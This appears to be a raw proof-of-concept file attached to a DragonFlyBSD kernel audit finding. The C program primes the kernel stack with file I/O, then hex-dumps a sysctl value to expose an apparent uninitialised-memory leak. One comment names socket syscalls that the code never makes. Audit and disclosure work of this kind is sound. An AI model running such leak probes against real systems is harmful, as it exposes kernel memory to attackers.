⬢ DragonFlyBSD Kernel Audit
DF-2403 / smcvar.c
← back to finding ↓ download raw
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <sys/sysctl.h>
int main(void) {
    char out[64]; size_t len; int fd, i;
    /* variant A: dirty the kstack with file-syscall residue first */
    fd = open("/etc/rc", O_RDONLY); char b[64]; read(fd, b, 64); close(fd);
    len = sizeof(out)-1; memset(out, 0, sizeof(out));
    sysctlbyname("dev.dfsm.0.fanid", out, &len, NULL, 0);
    printf("after-fileio: ");
    for (i = 0; i < (int)len; i++) printf("%02x", (unsigned char)out[i]);
    printf("\n");
    /* variant B: socket syscalls */
    len = sizeof(out)-1; memset(out, 0, sizeof(out));
    sysctlbyname("dev.dfsm.0.fanid", out, &len, NULL, 0);
    printf("second-call:  ");
    for (i = 0; i < (int)len; i++) printf("%02x", (unsigned char)out[i]);
    printf("\n");
    return 0;
}